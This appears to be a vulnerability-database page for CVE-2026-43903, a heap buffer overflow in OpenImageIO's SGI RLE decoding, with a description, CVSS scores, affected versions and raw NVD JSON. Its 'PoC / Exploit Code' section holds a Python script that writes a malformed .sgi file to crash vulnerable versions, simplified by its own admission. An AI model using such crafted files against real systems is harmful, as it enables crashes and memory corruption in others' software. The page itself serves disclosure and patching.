Security Vulnerability Report
中文
CVE-2026-43903 CVSS 7.8 HIGH

CVE-2026-43903

Published: 2026-05-14 20:17:06
Last Modified: 2026-05-15 19:42:46

Description

OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:* - VULNERABLE
OpenImageIO < 3.0.18.0
OpenImageIO < 3.1.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-43903 # Generates a malicious .sgi file to trigger the heap buffer overflow def generate_malicious_sgi(filename): width = 100 height = 100 channels = 3 with open(filename, "wb") as f: # SGI Magic Number (474) f.write(struct.pack(">H", 474)) # Compression: 1 (RLE) f.write(struct.pack(">B", 1)) # BPC: 1 (byte per channel) f.write(struct.pack(">B", 1)) # Dimensions: 3 (x, y, z) f.write(struct.pack(">H", 3)) # Width: 100 f.write(struct.pack(">H", width)) # Height: 100 f.write(struct.pack(">H", height)) # Channels: 3 f.write(struct.pack(">H", channels)) # Padding (Image name is empty, 80 bytes + 404 bytes filler) f.write(b"\x00" * 80) f.write(b"\x00" * 404) # Write Start Tables (simplified for PoC, normally calculated based on data) # We skip writing accurate tables to focus on the RLE data trigger # In a real exploit, offsets must be valid to reach the vulnerable code path # Malicious RLE Data # The vulnerability occurs when RLE count > scanline width # Format: [length, value] malicious_length = width + 50 # Exceeds scanline width value = 0x41 # Write a scanline with excessive length # Note: This is a simplified representation. Actual SGI RLE format # organizes data by channel/row, but the core trigger is the large length value. payload = struct.pack(">B", malicious_length) + struct.pack(">B", value) # Append payload to file # In a realistic scenario, the parser must reach this data stream. f.write(payload * 10) # Repeat to ensure overflow occurs print(f"[+] Malicious SGI file generated: {filename}") print(f"[+] Open this file with a vulnerable OpenImageIO version to trigger the crash.") if __name__ == "__main__": generate_malicious_sgi("crash_exploit.sgi")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43903", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:06.077", "lastModified": "2026-05-15T19:42:45.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.18.0", "matchCriteriaId": "90B206C1-E7DB-4175-8077-C76D5C8533AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.4.0", "versionEndExcluding": "3.1.13.0", "matchCriteriaId": "34BBB27F-256F-4D15-A394-158343CB8B4D"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}